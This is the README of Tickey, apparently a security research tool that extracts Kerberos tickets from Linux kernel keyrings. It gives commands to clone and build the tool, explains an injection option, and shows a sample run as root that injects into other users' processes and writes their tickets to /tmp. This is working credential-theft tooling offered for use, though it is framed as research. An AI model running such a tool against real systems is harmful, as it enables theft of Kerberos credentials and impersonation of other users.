Tickey

Tool to extract Kerberos tickets from Linux kernel keys.

Based in the paper Kerberos Credential Thievery (GNU/Linux).

Building

git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

After that, binary should be in dist/Release/GNU-Linux/.

Execution

Arguments:

  • -i => To perform process injection if it is needed
  • -s => To not print in output (for injection)

Important: when injects in another process, tickey performs an execve syscall which invocates its own binary from the context of another user. Therefore, to perform a successful injection, the binary must be in a folder which all users have access, like /tmp.

Execution example:

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
